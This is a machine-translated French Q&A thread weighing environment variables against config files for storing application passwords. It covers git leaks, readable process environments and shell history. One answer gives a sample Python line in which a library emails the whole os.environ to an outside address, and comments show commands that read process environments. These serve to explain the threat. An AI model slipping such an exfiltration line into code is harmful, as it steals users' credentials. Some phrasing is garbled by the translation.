Est-il sûr de stocker les mots de passe en tant que variables d'environnement (plutôt qu'en texte brut) dans les fichiers de configuration?

109

Je travaille sur quelques applications dans les rails, django (et un peu de php), et l'une des choses que j'ai commencé à faire dans certaines d'entre elles est de stocker la base de données et d'autres mots de passe en tant que variables d'environnement plutôt que du texte brut dans certains fichiers de configuration ( ou dans settings.py, pour les applications django).

En discutant de cela avec l'un de mes collaborateurs, il a suggéré que c'était une mauvaise pratique - que ce n'est peut-être pas aussi parfaitement sûr que cela puisse paraître à première vue.

Alors, j'aimerais savoir - est-ce une pratique sûre? Est-il plus sûr de stocker les mots de passe sous forme de texte brut dans ces fichiers (en veillant bien sûr à ne pas laisser ces fichiers dans des dépôts publics ou quoi que ce soit)?

geai
la source

Réponses:

45

Sur un plan plus théorique, j'ai tendance à penser aux niveaux de sécurité de la manière suivante (par ordre croissant de force):

  • Pas de sécurité. Texte brut. Quiconque sait où chercher peut accéder aux données.
  • Sécurité par obfuscation. Vous stockez les données (texte brut) à un endroit délicat, comme une variable d'environnement, ou dans un fichier censé ressembler à un fichier de configuration. Un attaquant finira par comprendre ce qui se passe ou tombera dessus.
  • Sécurité fournie par un cryptage facile à briser (pensez au chiffrement césar!).
  • Sécurité fournie par un cryptage qui peut être rompu avec quelques efforts.
  • Sécurité fournie par un cryptage qui n'est pas pratique pour casser le matériel actuel.
  • Le système le plus sûr est celui que personne ne peut utiliser! :)

Les variables d'environnement sont plus sécurisées que les fichiers en clair, car elles sont volatiles / jetables et non enregistrées; c'est-à-dire que si vous définissez uniquement une variable d'environnement locale, comme "set pwd = peu importe", puis exécutez le script, avec quelque chose qui quitte votre shell de commande à la fin du script, alors la variable n'existe plus. Votre cas tombe dans les deux premiers, qui, je dirais, sont assez peu sûrs. Si vous deviez faire cela, je ne recommanderais pas de déployer en dehors de votre réseau intranet / domestique immédiat, et uniquement à des fins de test.

John Carter
la source
1
Cela dépend du système d'exploitation - Dans le meilleur des cas, les variables d'environnement sont aussi vulnérables que les fichiers en clair, mais sont probablement pires. Avec les fichiers en clair, vous pouvez définir les autorisations de lecture sur les fichiers / répertoires pour les protéger. IIRC pour les variables d'environnement, elles vivent dans l'espace mémoire pour le processus shell, donc un pirate entreprenant pourrait scanner cet espace à leur recherche.
John Carter
1
attendez une minute: si vous stockez les informations d'identification dans une variable d'environnement, ils doivent y arriver en premier. Soit à la main, soit par script. Afin d'automatiser le démarrage de votre logiciel, je recommanderais un script. Mais devinez quoi, alors vous devez les stocker dans un fichier de configuration (pour les variables env) quand même. Sauf si vous ne fournissez pas manuellement les valeurs des variables d'environnement, je ne vois aucune différence de sécurité entre les fichiers de configuration.
math
59

Comme mentionné précédemment, les deux méthodes ne fournissent aucune couche de «sécurité» supplémentaire une fois que votre système est compromis. Je crois que l'une des raisons les plus fortes de favoriser les variables d'environnement est le contrôle de version : j'ai vu beaucoup trop de configurations de base de données, etc. être accidentellement stockées dans le système de contrôle de version comme GIT pour que tous les autres développeurs puissent le voir (et oups! moi aussi ...).

Ne pas stocker vos mots de passe dans des fichiers rend impossible leur stockage dans le système de contrôle de version.

emrass
la source
6
Une alternative assez raisonnable à ne pas stocker les paramètres de configuration secrets dans le contrôle de version consiste à les stocker dans un référentiel de contrôle de version ou un projet séparé du référentiel pour le code.
Kenny Evitt
1
@KennyEvitt qui laisse toujours des mots de passe non sécurisés en texte clair dans un emplacement partagé que toute personne ayant accès au référentiel peut trouver et aucun moyen de savoir qui y a accédé.
FistOfFury
2
@FistOfFury Bien sûr, toute personne ayant accès au référentiel ... peut accéder au référentiel. Le point de stocker des secrets dans un référentiel séparé est exactement de sorte que l'on puisse contrôler l'accès à ces secrets différemment du code lui-même. Mais les référentiels peuvent être sécurisés, par exemple, vous pouvez stocker les secrets cryptés dans «l'emplacement partagé». Et vous pouvez même suivre les informations sur l'accès au référentiel dans l'emplacement partagé. Mais, bien sûr, permettre à quiconque d'accéder aux informations implique qu'ils peuvent copier ces informations et ainsi y accéder à tout moment dans le futur sans restriction ni suivi.
Kenny Evitt
2
Excellente raison d'utiliser une solution de gestion de configuration qui vous permet de stocker des secrets chiffrés, puis de les remplacer dans des modèles de configuration au moment du rendu. Le chef a chiffré des sacs de données, Ansible a des coffres-forts, etc.
Brian Cline
1
C'est ce qu'on appelle la gestion des accès privilégiés, où les secrets sont stockés dans un coffre-fort PAM centralisé avec des contrôles d'accès complets. Gartner répertorie certains de ces produits .
Amit Naidu
44

Chaque fois que vous devez stocker un mot de passe, celui-ci n'est pas sécurisé. Période. Il n'y a aucun moyen de stocker un mot de passe non chiffré en toute sécurité. Maintenant, quelle variable d'environnement par rapport aux fichiers de configuration est la plus "sécurisée" est peut-être discutable. À mon humble avis, si votre système est compromis, peu importe où il est stocké, un pirate informatique diligent peut le retrouver.

Chris Pratt
la source
12
Pour les variables d'environnement, j'attends unix ici ... Les variables d'environnement sont bien moins sécurisées que les fichiers. Tout le monde peut vérifier l'environnement d'un processus en cours d'exécution, mais les fichiers peuvent au moins avoir des ACL.
Vatine
11
Étant donné que le développeur doit stocker ces mots de passe, ce n'est pas une réponse extrêmement utile. Où suggérez-vous qu'il les stocke?
Peter Nixey
2
@Vatine Places exposant des variables d'environnement ont également des permissions. Essayez cat /proc/1/environpar exemple.
Chris Down le
4
@Vatine Vraiment? Je ne vois aucun environnement pour les processus qui ne me appartiennent pas ps axe. strace -e open ps axemontre qu'il obtient cette information /proc/[pid]/environ, qui a une application d'autorisation (d'où un tas de open("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied)).
Chris Down
4
Huh. Regardez ça, un problème a finalement été résolu (auparavant, il psétait setuid et serait heureux de vous montrer l'environnement de presque tout).
Vatine
28

Désolé, je n'avais pas assez de représentants pour commenter, mais je voulais également ajouter que si vous ne faites pas attention, votre shell pourrait également capturer ce mot de passe dans son historique des commandes. Donc, exécuter quelque chose comme $ pwd=mypassword my_progmanuellement n'est pas aussi éphémère que vous auriez pu l'espérer.

brianclements
la source
21
si vous préfixez l'ensemble "env var + command" avec un espace, alors il n'est pas stocké dans l'historique
shadi
merci @shadi. Apprenez quelque chose de nouveau tous les jours! Je me demande si c'est spécifique au shell / facile à désactiver ou si c'est quelque chose auquel on peut s'attendre assez régulièrement?
brianclements
4
Une autre façon est d'utiliser read -s MY_PASS_VARce qui protégera à la fois des recherches d'historique des coquilles et des surfeurs d'épaule.
MatrixManAtYrService
4
@brianclements Je voudrais ajouter que le préfixe de la commande avec un espace ne fonctionne que si le shell actuel HISTCONTROLest défini sur ignorespaceou ignoreboth, donc techniquement, il peut être activé / désactivé.
Moïse
14

Je pense que lorsque cela est possible, vous devez stocker vos informations d'identification dans un fichier gitignored et non en tant que variables d'environnement.

Une des choses à considérer lors du stockage des informations d'identification dans des variables ENV (environnement) par rapport à un fichier est que les variables ENV peuvent très facilement être inspectées par n'importe quelle bibliothèque ou dépendance que vous utilisez.

Cela peut être fait par malveillance ou non. Par exemple, un auteur de bibliothèque pourrait envoyer des traces de pile ainsi que les variables ENV à lui-même pour le débogage (ce n'est pas la meilleure pratique, mais c'est possible).

Si vos informations d'identification se trouvent dans un fichier, il est beaucoup plus difficile de les atteindre.

Plus précisément, pensez à un npm dans le nœud. Pour qu'un npm regarde vos informations d'identification si elles sont dans l'ENV est une simple question de process.ENV. Si par contre ils sont dans un fichier, c'est beaucoup plus de travail.

La question de savoir si votre fichier d'informations d'identification est contrôlé par version ou non est une question distincte. Le fait de ne pas contrôler la version de votre fichier d'informations d'identification l'expose à moins de personnes. Il n'est pas nécessaire que tous les développeurs connaissent les informations d'identification de production. Puisque cela respecte le principe du moindre privilège, je suggérerais que git ignore votre fichier d'informations d'identification.

Peter Ajtai
la source
6
+1 pour "un auteur de bibliothèque pourrait envoyer des traces de pile plus les variables ENV à lui-même pour le débogage". Jamais pensé à ce scénario.
netishix
6

Cela dépend de votre modèle de menace.

Essayez-vous d'empêcher vos utilisateurs de répandre des mots de passe sur tous leurs systèmes de fichiers où ils risquent d'être oubliés et mal gérés? Si tel est le cas, alors oui, car les variables d'environnement sont moins persistantes que les fichiers.

Essayez-vous de vous protéger contre quelque chose de malveillant qui cible directement votre programme? Si tel est le cas, non, car les variables d'environnement n'ont pas le même niveau de contrôle d'accès que les fichiers.

Personnellement, je pense que les utilisateurs négligents sont plus fréquents que les adversaires motivés, alors j'opterais pour l'approche variable d'environnement.

MatrixManAtYrService
la source
0

AFAICT, il y a deux raisons pour lesquelles les gens recommandent de stocker des secrets dans des variables d'environnement:

  1. Il est trop facile de valider par inadvertance des fichiers plats secrets dans un dépôt. (Et s'il s'agit d'un dépôt public, vous portez un toast.)
  2. Cela empêche l'encombrement des mots de passe, c'est-à-dire que le fait d'avoir la même clé dans de nombreux fichiers de répertoire de projet différents est en soi un risque de sécurité car les développeurs finiront par perdre la trace de l'emplacement des secrets.

Ces deux problèmes peuvent être mieux résolus. Le premier devrait être résolu par un hook de validation git qui vérifie les choses qui ressemblent à des mots de passe (par exemple, gitleaks ). J'aimerais que Linus intègre un tel outil dans le code source de la bibliothèque git mais, hélas, cela ne s'est pas produit. (Inutile de dire que les fichiers secrets doivent toujours être ajoutés .gitignore, mais vous avez besoin d'un crochet au cas où quelqu'un oublierait de le faire.)

Ce dernier peut être résolu en ayant un fichier de secrets d'entreprise mondial, qui est idéalement stocké sur un lecteur partagé en lecture seule. Donc, en Python, vous pourriez avoir quelque chose comme from company_secrets import *.

Plus important encore, comme l'ont souligné d'autres, il est beaucoup trop facile de pirater des secrets stockés dans des variables d'environnement. Par exemple, en Python, un auteur de bibliothèque pourrait insérer send_email(address="[email protected]", text=json.dumps(os.environ)), puis vous êtes grillé si vous exécutez ce code. Le piratage est beaucoup plus difficile si vous avez un fichier sur votre système appelé ~/secret_company_stuff/.my_very_secret_company_stuff.

Utilisateurs de Django uniquement:
Django (en mode DEBUG) affiche la valeur brute d'une variable d'environnement dans le navigateur s'il y a une exception (en mode DEBUG). Cela semble très peu sûr si, par exemple, un développeur se met accidentellement DEBUG=Trueen production. En revanche, Django DOES paramètres de mot de passe Occultation des variables en recherchant les chaînes API, TOKEN, KEY, SECRET, PASSou SIGNATUREdans le cadre des settings.pynoms de variables de fichier.

pandichef
la source